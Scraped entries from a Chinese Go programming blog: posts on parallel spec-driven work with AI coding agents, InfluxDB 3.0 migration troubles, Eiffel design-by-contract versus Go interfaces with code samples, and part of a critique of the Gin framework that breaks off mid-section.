图中红色的区域就是被浪费的生命。只要 AI 稍微卡顿，你的工作流就被切断了。\n模式 B：多核工作者（异步并发）\n特征： 就像现代操作系统的分时调度（Time-sharing）。人脑作为 OS Scheduler，维护着多个任务的状态。\n优势： 图中绿色的区域显示，当 AI 在后台“搬砖”时，你的大脑立刻切换（Switch）到下一个任务（编写 Spec B）。\n收益： 在 AI 响应延迟短期内无法消除的前提下，模式 B 的产出效率是模式 A 的 2 倍甚至更多。\n第一性原理：如何优化大脑的“调度算法”？ 既然“多核模式”效率极高，为什么 99% 的人做不到呢？\n核心难点在于**“上下文切换（Context Switching）”的成本**。\n做过底层开发的都知道，CPU 在切换线程时，必须执行一个昂贵的操作：Save Context（保存现场）和 Restore Context（恢复现场）。\n人脑也是一样，甚至更弱。\n根据认知心理学的“米勒定律”，人类的工作记忆（Working Memory，相当于 CPU 的 L1 Cache）容量极小，只有 7±2 个单位。\n当你从“编写 Go 后端”切换到“调试 Vue 前端”时，你的 L1 Cache 会瞬间被清空。等你切回来时，你需要重新阅读代码、重新回忆变量名——这个过程就是**“冷启动”**，极度消耗能量。\n所以，要实现高效的“人脑并发调度”，我们不能靠死记硬背，必须利用第一性原理优化我们的交互协议。\n上下文卸载 (Context Offloading) 计算机如何解决内存不足的问题？虚拟内存（Swap）。 把不用的数据换出到硬盘里。\n我们要模仿这个机制。不要试图在脑子里维持与 AI 的对话状态。\n凡是发给 AI 的任务，必须是一个**“全量的、自包含的数据包”**。在这个数据包里，包含了 AI 完成任务所需的所有背景、约束和目标。\n一旦发送出去，你的大脑应当能**彻底遗忘（Forget）**这个任务，清空 L1 Cache 去处理下一个线程，直到收到“完成”的中断信号。\n无状态交互 (Stateless Interaction) 目前的“Chat 模式”是典型的**有状态（Stateful）**交互。你必须记得上一句说了什么，下一句才能接得上。这是并发的天敌。\n高效的调度算法要求我们采用**无状态（Stateless）**交互。\n每一次与 AI 的交互，都应该是一次独立的 API 调用。我不关心你记不记得上下文，我会在这一次指令中把上下文重新传给你。\n我们可以用一张系统架构图来理解这种“大脑调度优化”：\n结论很明显：\n要让大脑 CPU 不阻塞，关键不在于你思考得有多快，而在于你是否拥有一个**“外部存储（External RAM）”**机制。\n你需要一种介质，能够帮你低成本地固化上下文，让你敢于放手（Fire），也方便你随时捡起（Resume）。\n那么，在软件工程领域，这种“固化上下文的介质”叫什么呢？\n落地实战：Spec 就是你的“外部存储” 答案就是 Spec（规范说明书）。\n而这种全新的开发范式，我们称之为 SDD (Spec-Driven Development，规范驱动开发)。\n为什么“聊天（Chat）”是并发的天敌？ 目前主流的“Chat-based Coding”本质上是同步且有状态的。\n你输入：“把这个函数改一下。”\nAI 问：“改成啥样？”\n你回：“像上次那个一样。”\n这就完了。 你的大脑被迫挂载了海量的历史上下文，你必须在线，必须记得“上次”是指哪次。一旦去回个邮件，回来你就断片了。\nSDD 如何实现“异步并发”？ 在 SDD 工作流中（特别是配合像 Claude Code、Gemini Cli 这样的新一代 CLI 编码智能体工具），交互模式发生了质变：\nContext Offloading（上下文固化）： 你不再在对话框里碎碎念，而是打开一个 Markdown 文件（Spec），把接口定义、业务逻辑、边界条件、甚至测试用例全部写下来。写完的那一刻，你的大脑内存就释放了。 Stateless Execution（无状态执行）： 你将这个 Spec 文件投喂给 AI。对于 AI 来说，这是一个全量的、自包含的原子任务。它不需要知道你昨天说了什么，它只需要根据这份文档执行。 Fire and Forget（即发即忘）： 指令发出后，你不需要盯着光标。AI 在后台读文档、写代码、跑测试。你可以立刻切换到下一个 Spec 的编写中。 让我们看下这张 SDD 并发工作流时序图：\nSpec，就是你发给后台进程的“异步数据包”。它让你的大脑从“内存条”变成了高效的“调度器”。\n写在最后：工具与范式，决定了你的并发量 除了思维的升级，你必须掌握一套支持“异步并发”的开发工具链。\n如果你还在用浏览器里的聊天窗口写代码，你依然很难摆脱“I/O 阻塞”。\n真正的解法，是构建一套基于 Claude Code/Gemini Cli… 的 SDD 工作流。\n这不仅是工具的改变，更是软件工程的回归——从“堆砖头（Coding）”回归到“画图纸（Architecting）”。\n你可以只做定义者： 你的核心工作不再是纠结 for 循环怎么写，而是编写清晰、严谨的 Spec。 让 AI 做实现者： AI 成为你的异步协程。它在后台自动完成实现、修复、测试的闭环。 这才是多核工作者的终极形态：你负责定义世界（Spec），AI 负责构建世界（Code）。\n如果你想彻底掌握这套方法论，从“单核等待”进化到“多核并发”，欢迎关注我的极客时间专栏**《AI 原生开发工作流实战》**。\n在这个专栏里，我将带你深入基于工具和新范式的实战：\nSDD 标准化： 如何编写 AI 一眼就能看懂、执行不出错的高质量 Spec？ 工具链配置： 如何配置 Claude Code 等工具，实现“投喂 -\u0026gt; 自动执行 -\u0026gt; 自动审查 -\u0026gt; 自动测试”的流水线？ 并发实操： 真实演示如何在 1 小时内，通过并发调度完成传统模式下 4 小时的开发量。 别再盯着光标发呆了。写好 Spec，剩下的交给 AI。 扫描下方卡片，开启你的多核开发之旅。\n聊聊你的“并发”状态\n你是否也曾陷入过那种“盯着光标发呆”的单核陷阱？在你的日常工作中，你是如何处理AI响应那几十秒的“真空期”的？ 是切屏摸鱼，还是有自己独特的“上下文切换”技巧？\n欢迎在评论区分享你的“多核”心得或“阻塞”吐槽！ 让我们一起寻找最高效的人机协作模式。\n如果这篇文章让你对AI编程有了全新的认知，别忘了点个【赞】和【在看】，并转发给身边那个还在“单核”工作的朋友！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/14/dont-let-ai-put-your-brain-cpu-in-wait/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/dont-let-ai-put-your-brain-cpu-in-wait-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/14/dont-let-ai-put-your-brain-cpu-in-wait\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/14/dont-let-ai-put-your-brain-cpu-in-wait\"\u003ehttps://tonybai.com/2025/12/14/dont-let-ai-put-your-brain-cpu-in-wait\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e先问一个扎心的问题：当你给 ChatGPT、Cursor 或 Claude Code 发送了一个复杂的 Prompt 之后，接下来的 30 秒到 1 分钟里，你在干什么？\u003c/p\u003e","title":"你的大脑是 CPU，别让 AI 把它挂起 (WAIT)"},{"content":"InfluxDB 3.0：一场豪赌的未来，还是又一次痛苦的轮回？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nInfluxDB 3.0：一场豪赌的未来，还是又一次痛苦的轮回？ 十二月 13, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/13/influxdb-3-0-grand-gamble-or-painful-cycle\n大家好，我是Tony Bai。\n“我们已经经历过从 InfluxDB v1 到 v2 的痛苦迁移……现在的 v3 看起来又是一次彻底的重写。我们是在押注一个稳定的未来，还是在冒着再次重写的风险？”\n近日，在技术社区中，一位资深 InfluxDB 用户的发帖引发了其他InfluxDB深度用户的广泛共鸣。这既是对一个数据库版本的担忧，也是对这家公司长期技术路线稳定性的灵魂拷问。\n作为一个曾定义了“时序数据库”品类的开源先锋，InfluxDB 在过去几年里经历了一段颠簸的旅程。v3 版本的推出，彻底抛弃了之前的技术栈，被官方视为“最终的稳定形态”。但在许多老用户眼中，这更像是一场充满不确定性的豪赌。\n本文将结合社区的真实反馈与技术变革，和大家一起剖析一下 InfluxDB 3.0 的转型逻辑、用户的迁移阵痛，以及其背后折射出的开源商业化困局。\n三次重写——技术执着还是战略摇摆？ 回顾 InfluxDB 的发展史，简直就是一部“重写史”。\nv1 时代：用 Go 语言编写，开创了 TSM 存储引擎，以简单易用确立了江湖地位。 v2 时代：引入了 Flux 查询语言，试图构建一个“数据处理平台”。但 Flux 陡峭的学习曲线和与 SQL 的背离，让许多用户望而却步。 v3 时代：再次推倒重来。彻底抛弃 Go 和 TSM，拥抱 Rust、Apache Arrow 和 Parquet，构建了一个以 IOx 为核心的全新引擎。 技术上的飞跃\n从纯技术角度看，v3 无疑是先进的。它解决了 v1/v2 长期存在的高基数 (High Cardinality) 痛点。通过引入列式存储 (Parquet) 和存算分离架构，v3 实现了惊人的压缩率和查询性能，理论上支持无限的时间序列，直接对标 Snowflake 等现代数仓架构。\n用户的疲惫\n然而，对于用户而言，每一次“重写”都意味着巨大的迁移成本和信任消耗。尤其是API 的断裂：v3 宣布放弃 v2 时代强推的 Flux，回归 SQL 和 InfluxQL。虽然这是对用户呼声的积极回应，但也意味着那些在 v2 时代投入大量精力编写 Flux 脚本的用户，必须再次重写他们的业务逻辑。这种反复横跳，让开发者感到疲惫不堪。\n迁移之痛——“默认配置即崩溃” 如果说架构的变更是为了长远的利益，那么迁移过程中的粗糙体验则直接消耗了用户的耐心。\n在社区的反馈中，我们看到了触目惊心的案例：有用户尝试将 200 万行数据从 v2 迁移到 v3 企业版，结果遭遇了灾难性的 OOM (内存溢出)。\n内存管理失控：即使分批限制导入行数，内存占用依然持续飙升，直至进程被内核杀死。 WAL 的陷阱：原本用于保证数据安全的预写日志 (WAL)，在大量写入的迁移场景下，反而成为了内存杀手。 残酷的对比：该用户在无奈之下尝试了竞争对手 QuestDB，结果“单次请求导入 200 万行，仅耗时 4 秒，内存占用仅 600MB”。 这种鲜明的对比，暴露了 InfluxDB 3.0 在工程实现细节上的尚待打磨。虽然官方产品经理在社区中积极回应并解释了可以通过调整配置来解决，但这种“开箱即崩”的体验，对于一个成熟的数据库产品来说，无疑是减分项。\n开源与商业的博弈——“免费午餐”的终结 InfluxDB v3 引发的种种争议，本质上是开源软件 (OSS) 公司在云时代寻找生存空间的缩影。\n“开源阉割”策略\n在 v1 时代，开源版几乎拥有全部核心功能。但在 v3 时代，InfluxData 明显收紧了策略。\n功能的隐形边界：社区用户发现，v3 的开源版本对查询时间窗口存在限制。官方对此的解释是“目前没有计划在开源版引入长期存储的压缩器”。这意味着，如果你需要长期存储和查询历史数据，你实际上被推向了云端或企业版。 云优先 (Cloud-First)：InfluxDB 3.0 首先在 InfluxDB Cloud 上推出，许久之后才发布私有化部署版。这种策略确保了云服务的收入，但也疏远了那些构成了其核心社区基础的、习惯于私有化部署的开发者和中小企业。 社区中甚至出现了“我再也不会在生产环境使用 InfluxDB”的决绝声音，用户开始流向 ClickHouse、VictoriaMetrics 等替代品。这些竞争对手往往提供更宽松的开源协议或更平滑的迁移路径。\n未来展望——v3 会是终点吗？ 面对用户的质疑，InfluxData 的官方代表在社区中给出了明确的承诺：“InfluxDB 3 将是稳定的未来。”\n他们承诺 v3 基于 Arrow/Parquet 的架构具有极强的扩展性，未来的升级将是渐进式的，不会再有破坏性的“v4 重写”。同时，他们也在努力完善迁移工具，计划为大型数据库提供更平滑的自动化迁移方案。\n给企业的建议\n观望派：如果你是 v1/v2 的重度用户，且当前系统运行良好，建议不要急于升级。v3 虽然性能强大，但生态工具和迁移路径仍在完善中。密切关注其 SQL 支持和 InfluxQL 的兼容性进展。 刚需派：如果你深受“高基数”困扰，或者需要极高的数据压缩率，v3 是你的救星。它彻底解决了这个问题，值得投入资源进行迁移测试。 出海派：如果你正在寻找纯开源替代品，且担心被厂商锁定，是时候评估 ClickHouse 或 VictoriaMetrics 了。InfluxDB 的重心已明显转向商业化云服务，纯开源版的“甜头”只会越来越少。 小结 InfluxDB 的故事告诉我们，技术上的先进性并不等同于商业上的成功，更不等于用户满意度。\nv3 是一次壮士断腕般的自我革命，它让 InfluxDB 拥有了挑战现代云原生数仓的底气，但也让它在原有社区中付出了巨大的信任成本。这场豪赌能否成功，取决于它能否在“云端的高歌猛进”与“社区的脚踏实地”之间，找到那个艰难的平衡点。对于开发者而言，选择数据库不再仅仅是选择技术，更是在选择一条可信赖的长期演进路线。\n资料链接：\nhttps://www.reddit.com/r/influxdb/comments/1pixzfa/is_influxdb_3_a_safe_longterm_bet_or_are_we/ https://www.reddit.com/r/influxdb/comments/1p90myw/influxdb_3_migrate_from_v2_and_ram_usage/ 你的数据库选型故事\nInfluxDB的演进历程，是开源数据库发展史的一个缩影。你在自己的项目中是否使用过InfluxDB？经历过从v1到v2，再到v3的迁移吗？ 或者，你是否已经转向了ClickHouse、VictoriaMetrics等其他方案？\n欢迎在评论区分享你的“血泪史”或“成功经验”，给正在选型的同行们一点参考！\n","permalink":"https://tonybai.com/2025/12/13/influxdb-3-0-grand-gamble-or-painful-cycle/","summary":"\u003ch1 id=\"influxdb-30一场豪赌的未来还是又一次痛苦的轮回---tony-bai\"\u003eInfluxDB 3.0：一场豪赌的未来，还是又一次痛苦的轮回？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"InfluxDB 3.0：一场豪赌的未来，还是又一次痛苦的轮回？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/13/from-eiffel-contract-to-go-interface\n大家好，我是Tony Bai。\n20年前，当我第一次翻开 Bertrand Meyer 的那本巨著**《面向对象软件构造》(Object-Oriented Software Construction)** 时，一种醍醐灌顶的感觉油然而生。书中那个名为 Eiffel 的语言，以及它所倡导的 “契约式设计” (Design by Contract, DbC)，仿佛为当时混乱的软件开发世界点亮了一盏明灯。\n虽然 Eiffel 语言最终并未像 Java 或 C++ 那样统治世界，但它留下的思想遗产——前置条件、后置条件、不变量——却潜移默化地渗透进了现代软件工程的骨髓。\n时光流转，当我们站在云原生时代的潮头，手握 Go 语言 这把利器时，你是否意识到：Go 的接口 (Interface) 设计，其实是一场跨越 20 年的、对契约精神的现代演绎与致敬。\n今天，让我们重温经典，看看那些曾被奉为圭臬的“契约”，是如何在 Go 的代码世界里重生的。\n什么是“契约”？—— 软件世界的商业法则 在人类社会中，商业活动的基石是合同（契约）。甲方（Client）和乙方（Supplier）通过一纸文书，明确了彼此的权利与义务。\nBertrand Meyer 的天才之处，在于他将这种商业隐喻完美地移植到了软件模块的交互中。他认为，软件的高可靠性不能靠“运气”或“防御性编程的堆砌”，而应靠明确定义的契约。\nEiffel 语言直接将这种契约内置到了语法层面，形成了著名的**“三驾马车”**：\n前置条件 (Preconditions / require) * **定义**：在调用函数之前，**调用方 (Client)** 必须确保为真的条件。 * _商业隐喻_：你要坐飞机（调用服务），必须先买票且准时到达（满足前置条件）。如果没买票，航空公司（服务方）有权拒绝服务。 后置条件 (Postconditions / ensure) * **定义**：在函数执行之后，**服务方 (Supplier)** 承诺必须为真的条件。 * _商业隐喻_：只要你买了票且准时登机，航空公司必须把你安全送到目的地（满足后置条件）。 不变量 (Invariants / invariant) * **定义**：在对象的整个生命周期中（所有公开方法调用前后），始终保持为真的“真理”。 * _商业隐喻_：无论飞机怎么飞，乘客数量绝不能超过座位数。 “契约”的核心价值在于信任：如果每个人都遵守契约，我们就不需要在每一行代码里都写那种偏执的 if (x != null) 检查。代码将变得更干净、更高效、更健壮。\n为了让你直观感受这种思想的冲击力，让我们看一段 Eiffel 代码。这是一个简单的字典（Dictionary）插入操作，请注意看它是如何用 require、ensure 和 invariant 将逻辑严丝合缝地包裹起来的：\nclass DICTIONARY [ELEMENT] feature count: INTEGER capacity: INTEGER put (x: ELEMENT; key: STRING) is -- 将元素 x 插入字典，通过 key 检索 require -- [前置条件]：调用者的责任 not_full: count \u0026lt; capacity key_not_empty: not key.empty do -- ... 这里是具体的插入算法实现 ... -- ... 真正的业务逻辑代码 ... ensure -- [后置条件]：实现者的承诺 element_added: has (x) key_associated: item (key) = x count_increased: count = old count + 1 end invariant -- [不变量]：始终为真的真理 consistent_count: 0 \u0026lt;= count and count \u0026lt;= capacity end 注：对于不熟悉 Eiffel 语法的同学，其实只需关注四个关键词：require 是对入参的“资格审查”，do 是干活的“核心逻辑”，ensure 是对结果的“质量验收”，而 invariant 则是贯穿始终的“宪法”。\n看到这里，你是否感受到了一种秩序之美？\n这段代码不仅仅是在“写程序”，它是在立法。require 明确了“什么情况下可以调”，ensure 明确了“调用后会发生什么”，而 invariant 则像定海神针一样稳住了对象的状态。\n“契约”的核心价值在于信任：如果每个人都遵守契约，我们就不需要在每一行代码里都写那种偏执的 if (x != null) 检查。代码将变得更干净、更高效、更健壮。\nGo 接口 —— 契约的“鸭子类型”演绎 Eiffel 选择了显式的、强硬的语法来强制契约；而 Go 语言，则选择了一种更为隐式、灵活，但也更具工程智慧的方式——接口 (Interface)。下面表格直观地展示了在契约这个概念上，Eiffel实现方式与Go的演绎方式上的方式：\n下面我们再具体说一下。\n行为即契约 Go 的接口设计哲学是：“如果它走起路来像鸭子，叫起来像鸭子，那它就是鸭子。”\n在 Go 中，我们不关心一个类型“是谁”（继承了哪个父类），我们只关心它“承诺能做什么”。这种承诺，就是契约。\n以标准库中最经典的 io.Reader 为例：\ntype Reader interface { Read(p []byte) (n int, err error) } 这短短三行代码，实际上定义了一个极其强大的契约：\n前置条件（隐式）：你需要给我一个切片 p。 后置条件（隐式）：我会尝试读取数据填入 p，并返回读取的字节数 n 和可能发生的错误 err。如果 n \u0026gt; 0，则 p[0:n] 包含了有效数据。 任何一个结构体，无论是 os.File、net.Conn 还是 bytes.Buffer，只要它签署（实现）了这个契约，就可以被无缝地替换和复用。这正是 DbC(Design by Contract) 理论中 Liskov 替换原则 在 Go 语言中的完美落地。\n强类型的约束 虽然 Go 没有 require 关键字，但它利用强类型系统实施了最基础的契约检查。\n在动态语言中，你可能需要写代码检查参数是否为数字。但在 Go 中，如果函数签名是 func Sqrt(x float64)，编译器就是你的契约执行官——它保证了绝不会有字符串类型的“非法移民”混入函数内部。\n在 Go 中实践“契约精神” 在尝试将 DbC 落地到 Go 语言时，我们必须首先承认一个事实：Go 并非传统的面向对象语言。\nEiffel 是建立在类（Class）和继承（Inheritance）之上的。它的 invariant 依赖于类的状态封闭性，它的 require 和 ensure 依赖于方法重写时的“契约继承”规则（Liskov 替换原则的严格形式）。\n而 Go 是基于组合和接口的。我们没有“类”，只有结构体；我们没有“继承”，只有嵌入。这种范式上的根本差异，注定了我们无法在 Go 中获得 Eiffel 那种“原生级”的契约支持，任何试图在语法层面 1:1 还原 Eiffel 的尝试，都会显得格格不入且笨拙。\n但这并不意味着我们可以抛弃 DbC 的思想。相反，一个优秀的 Gopher，应当学会**“神似而形不似”**——利用 Go 的原生特性（Panic, Error, Defer, Testing），手动“编织”出健壮的契约网。\n捍卫前置条件：Panic 还是 Error？ 在 Go 中执行前置条件检查，通常有两种流派：\n针对编程错误（Bug）—— 使用 panic 如果调用者违反了API的基本使用协议（例如，传入了一个 nil 的上下文，或者索引越界），这通常意味着调用方代码有 Bug。此时，快速失败（Fail Fast）是最好的选择。\nfunc MustRegister(handler Handler) { if handler == nil { panic(\u0026#34;http: nil handler\u0026#34;) // 显式的前置条件检查 } // ... } 针对运行时错误 —— 返回 error 如果前置条件依赖于外部世界（如网络是否连通、文件是否存在），则应返回 error，让调用方决定如何处理。\n验证后置条件：Defer 与测试 Eiffel 的 ensure 可以在运行时自动检查。在 Go 中，我们可以利用 defer 甚至构建标签（Build Tags）来模拟这种行为，特别是在调试模式下。\n// 仅在调试构建中启用的断言逻辑 func (s *Stack) Push(item int) { if debug { // 捕获旧状态 oldSize := s.size defer func() { // 验证后置条件 if s.size != oldSize + 1 { panic(\u0026#34;invariant violated: stack size did not increment\u0026#34;) } }() } // ... 业务逻辑 ... } 但更 Go Style 的做法是：将后置条件的验证移交给单元测试（Unit Test）和模糊测试（Fuzzing）。Go 强大的测试工具链，本质上就是一个外挂的“契约验证器”。\n守护不变量：“构造函数”与封装 如何保证对象始终处于合法状态（不变量）？Go 给出的答案是：封装（Encapsulation）。\n通过将结构体的字段设为私有（小写字母开头），并强制用户通过 New… 工厂函数来创建对象，我们可以确保对象在出生那一刻就是满足不变量的，并且在后续的生命周期中，外部无法破坏它。\npackage stack type Stack struct { items []int // 私有，外部无法直接修改，保证了数据的安全性 } // 工厂函数：保证初始状态的不变量 func New() *Stack { return \u0026amp;Stack{items: make([]int, 0)} } 示例 —— 一个“契约式”的栈 让我们把上述思想综合起来，写一个简单的、充满“契约精神”的栈。\npackage stack import \u0026#34;errors\u0026#34; // StackInterface 定义了行为契约 type StackInterface interface { Push(v int) error Pop() (int, error) Size() int } type Stack struct { items []int cap int } // New 创建栈，同时确立初始不变量 func New(capacity int) *Stack { if capacity \u0026lt;= 0 { // 前置条件检查 panic(\u0026#34;capacity must be positive\u0026#34;) } return \u0026amp;Stack{ items: make([]int, 0, capacity), cap: capacity, } } func (s *Stack) Push(v int) error { // 前置条件：栈未满 if len(s.items) \u0026gt;= s.cap { return errors.New(\u0026#34;stack overflow\u0026#34;) } s.items = append(s.items, v) // 后置条件（隐式）：len 增加了 1，且栈顶元素是 v // 在 Go 中，我们通常信任代码逻辑，或通过测试覆盖此条件 return nil } func (s *Stack) Pop() (int, error) { // 前置条件：栈不为空 if len(s.items) == 0 { return 0, errors.New(\u0026#34;stack underflow\u0026#34;) } v := s.items[len(s.items)-1] s.items = s.items[:len(s.items)-1] return v, nil } // 不变量：Size 永远不会超过 Capacity，也不会小于 0 // 这由 Push 和 Pop 的逻辑严密性以及私有字段的封装共同保证。 进阶思考：并发下的不变量\n还有一点不能忽略：Go 是为并发而生的。在单线程模型中，封装或许足以维护不变量。但在 Go 的并发世界里，如果多个 goroutine 同时修改这个 Stack，竞态条件（Race Condition）瞬间就会破坏 count \u0026lt;= capacity 这样的“真理”。\n因此，在 Go 的工程实践中，维护不变量往往还需要**同步原语（如 sync.Mutex）**的强力介入。只有配合了锁机制，才能确保对象在并发洪流的冲击下，依然能守住那份“不变”的契约。\n小结：心中的契约 在结束这次跨越 20 年的时空对话之际，我想特别澄清一点：本文的目的，绝非鼓励大家在 Go 语言中笨拙地“模拟”一套 Eiffel 的语法糖。\nGo 语言有其独特且自洽的设计哲学——简洁、组合、并发。强行在 Go 代码中堆砌 require() 或 ensure() 函数，往往会画虎不成反类犬，破坏 Go 代码原有的流畅性。\n我们重温 DbC，是为了汲取思想的养分。Bertrand Meyer 教会了我们要对代码的“权利与义务”保持敏感：\n当你写下一个函数时，你是否想清楚了它的前置条件？ 你是否通过单元测试守护了它的后置条件？ 你是否通过封装维护了对象的不变量？ 这些思考方式，才是 DbC 留给非 DbC 语言(如 Go、Java、Python)最宝贵的遗产。Bertrand Meyer 在 20 年前种下的那颗种子，虽然没有长成 Eiffel 这棵参天大树，但它的花粉却飘散到了整个软件工程的花园里。\nGo 语言选择了另一条更务实的道路：用接口定义契约，用封装保护契约，用测试验证契约。\n作为一名 Gopher，当我们写下 type … interface，或者敲下 if err != nil 时，我们实际上是在履行一份神圣的职责。语言的特性在演进，但软件工程的核心——信任与责任的管理——从未改变。\n真正的契约，不只写在代码里，更应刻在每一位工程师的心里。\n参考资料 Building bug-free O-O software: An introduction to Design by Contract – https://archive.eiffel.com/doc/manuals/technology/contract/ Object-Oriented Software Construction(2nd) – https://book.douban.com/subject/1547078/ Programming “By Contract” – https://www.cs.usfca.edu/~parrt/course/601/lectures/programming.by.contract.html 聊聊你心中的“代码契约”\n这场跨越20年的思想对话，让我们重新审视了Go接口背后那份深刻的工程哲学。从Eiffel那严谨如“立法”的require/ensure，到Go语言“润物细无声”的interface/error/testing组合，我们看到的是不同时代背景下，对“信任与责任”这一软件工程核心母题的不同解答。\n那么，在你日常的Go编程实践中，你是如何理解和贯彻“契约精神”的？\n你是否也有过因为接口（契约）定义不清，而导致团队协作“踩坑”的经历？ 除了文中提到的方法，你还有哪些维护代码“权利与义务”的独门心法？ 你认为，Go语言在“契约”的表达上，还有哪些值得改进或探索的方向？ 非常期待在评论区看到你的故事与真知灼见，让我们一起探讨如何成为更具“契约精神”的工程师！\n如果这篇文章让你对Go接口或软件工程的理解更深了一层，别忘了点个【赞】和【在看】，并分享给更多热爱思考的同伴！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/13/from-eiffel-contract-to-go-interface/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/from-eiffel-contract-to-go-interface-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/13/from-eiffel-contract-to-go-interface\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/13/from-eiffel-contract-to-go-interface\"\u003ehttps://tonybai.com/2025/12/13/from-eiffel-contract-to-go-interface\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e20年前，当我第一次翻开 Bertrand Meyer 的那本巨著**《\u003ca href=\"https://book.douban.com/subject/1547078/\"\u003e面向对象软件构造\u003c/a\u003e》(Object-Oriented Software Construction)** 时，一种醍醐灌顶的感觉油然而生。书中那个名为 \u003cstrong\u003eEiffel\u003c/strong\u003e 的语言，以及它所倡导的 \u003cstrong\u003e“契约式设计” (Design by Contract, DbC)\u003c/strong\u003e，仿佛为当时混乱的软件开发世界点亮了一盏明灯。\u003c/p\u003e","title":"跨越20年的对话：从 Eiffel 的“契约”到 Go 的“接口”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/12/gin-is-a-very-bad-software-library\n大家好，我是Tony Bai。\n“Gin 就像是一种伪装成软件库的阴险真菌：它很容易感染，一旦沾上就几乎无法去除，除非你极其小心，否则还会传染给你的朋友。”\n2025 年 12 月，Efron Licht 发布了一篇名为《Gin 是一个非常糟糕的软件库》的长文，用词之激烈、抨击之全面，瞬间引爆了 Go 社区。他将 Gin 比作“真菌”，并列举了从代码膨胀到 API 设计混乱的种种“罪状”。\n这篇文章虽然充满了情绪化的发泄，但它同时也触及了许多资深 Gopher 心照不宣的痛点。Reddit 上的热烈讨论证明了这一点：虽然很多人不喜欢作者的语气，但绝大多数人承认他的技术批评是站得住脚的。\n今天，让我们剥离情绪，结合社区的反馈，深入剖析这篇檄文背后的技术逻辑：作为 Go 生态中最流行的 Web 框架，Gin 真的有那么不堪吗？\n第一宗罪：惊人的代码膨胀 (Code Bloat) 作者首先指出的，是 Gin 与其解决的问题之间巨大的比例失调。\n标准库 net/http：仅用 2.5 万行 代码就实现了完整的 HTTP 协议栈（包含客户端、服务端、TLS 等）。 Gin：为了实现路由和中间件等相对简单的功能，其依赖树竟然引入了 87 万行 代码和 55MB 的体积！ 更令人咋舌的是，Gin 的依赖树中包含了至少 6 个不同的 JSON 库（包括 sonic, go-json, ugorji/go/codec 等）。一名Reddit 用户 证实了这一点，并指出即使在不使用 msgpack 的情况下，Gin 也会引入巨大的二进制开销。虽然可以通过 -tags nomsgpack 来缓解，但这并非默认行为。\n这种“把厨房水槽都装进去”的依赖管理方式，对于追求简洁和二进制体积的 Go 项目来说，确实是一个沉重的负担。\n第二宗罪：混乱的 API 设计与“抽象泄漏” 作者对 Gin 的 API 设计进行了无情的嘲讽，称其“表面积像工业散热器一样大，而且一样吸热（sucks）”。\ngin.Context 的过度设计：这个核心结构体拥有超过 133 个方法！它混杂了请求参数解析、响应写入、内容协商、Cookie 处理甚至 HTML 模板渲染等所有功能。一位Reddit 用户评论道：“Gin 就是当每一个可能的使用场景都塞进同一个库时发生的事情。” 奇怪的方法签名：相比标准库清晰的接口，Gin 提供了数十种获取参数的方法，甚至还有 BindYAML, BindTOML 等特定的绑定方法。这种设计不仅增加了学习成本，也让代码的可测试性大打折扣。 第三宗罪：致命的“锁定效应” (Lock-in) 